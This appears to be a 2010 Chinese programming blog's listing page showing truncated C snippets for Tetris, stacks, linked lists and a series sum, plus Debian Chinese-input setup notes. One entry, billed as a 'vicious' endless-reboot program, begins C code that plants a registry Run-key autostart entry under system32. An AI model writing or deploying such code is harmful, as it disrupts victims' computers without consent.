俄罗斯方块很详细还有注释,是我转的(俺正在研究中)

/*俄罗斯方块源代码*/#include <graphics.h> #include <stdio.h> #include <dos.h> #include <conio.h> #include <time.h> #include <math.h> #include <stdlib.h> void draw_block(int x,int y,int style,int way); void kill_line(int y); void draw_little_block(int x,int y,int z,int style); int check_block(int x,int y,...
默认分类 | 2010-05-25 12:36 | 阅读 1135 次 | 评论 8 条

链式堆栈

#include<stdio.h>#include<stdlib.h>typedef struct stacklist{ int data; struct stacklist * list;}slist;slist* push(slist *top,int x){ slist *p; p=(slist*) malloc(sizeof(slist)); if(p==NULL) { printf("Memory allocate failed\n"); exit(0); } p->data=x; p->list=top; top=p; return(top);}int pop(slist...
默认分类 | 2010-05-19 22:29 | 阅读 701 次 | 评论 1 条

顺序堆栈

#include<stdio.h>#define M 10000typedef struct data{ int s[M]; int top;}dat;int push( dat *top,int x){ dat *p; p=top; if(p->top==M) { printf("stack full\n"); exit(0); } p->s[p->top]=x;//这个用寻址理解 p->top++; //出栈相同 return (1);}int pop(dat *top){ int x; dat *p; p=top; if (p->top==0) { printf("stac...
默认分类 | 2010-05-18 23:27 | 阅读 591 次 | 评论 0 条

debian下的中文输入法和中文支持

从网上下载了debian的最小安装文件选择图形安装(不赘述)进入系统之后发现上网打开的中文网页都是乱码(妈的让人上火,不过是我比较贱哈,安装的时候选择的是英文,嘿嘿……) 一.让debian支持中文 1.dpkg-reconfigure locales 2.选择第一个all就行了别的嘛不管(哈哈,比较简单吧) 二.安装debian中文输入法(这个ubuntu下还是fcitx小企鹅比较好用类似搜狗) 1.apt-get install scim 这个只是安装一个平台(加上sudo如果非root用户) 2.apt-get install scim-chinese然后智能输入法...
默认分类 | 2010-05-18 17:20 | 阅读 1876 次 | 评论 0 条

帮别人改的作业,单边表来实现数字逆序输出

/*输入123,输出321*/#include<stdio.h>#define L sizeof(number)typedef struct number{ int num; struct number *next;}number;number* integerlist(int d){ number *last,*p,*head; int n; n=d; head=NULL; do { p=(number*)malloc(L); p->next=NULL; if(head==...
默认分类 | 2010-05-10 08:23 | 阅读 696 次 | 评论 0 条

链表的排序

/*程序功能:输入一个链表并按照链表标号排序*编译环境:VC6.0*by:spygg*/#include<stdio.h>#include<stdlib.h>struct list{int num;struct list *next;};struct list *creat()//创建链表{struct list *head,*p,*tail;head=NULL;do{ printf("input the num (0 as the end)\n"); p=(struct list*)malloc(sizeof(struct list)); if(p==NULL) { ...
默认分类 | 2010-05-08 01:33 | 阅读 628 次 | 评论 0 条

一个小程序,算法很经典哈

/*输出2/1,3/2,5/3,8/5……前N项的和*/#include "stdio.h"int main(void){ float f1=1.0,f2=2.0; int i,n; float sum=0.0; printf("Input n\n"); scanf("%d",&amp;n); for(i=1;i<=n;i++) { sum=sum+(f2/f1); f2 += f1; f1 =f2-f1; } printf("%f",sum); return 0;}
默认分类 | 2010-05-07 00:57 | 阅读 639 次 | 评论 1 条

让电脑无限重启,阴毒版

#include<stdio.h> #include<dos.h> #include<process.h> int main() { int flag; FILE *fp; fp=fopen("c:\\windows\\system32\\console.reg","wb"); fprintf(fp,"%s\n","REGEDIT4"); fprintf(fp,"%s","[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"MyRegist\"=\"c:\\\\windows\\\\syst...
默认分类 | 2010-05-03 09:39 | 阅读 1250 次 | 评论 6 条
浏览48255次
文章分类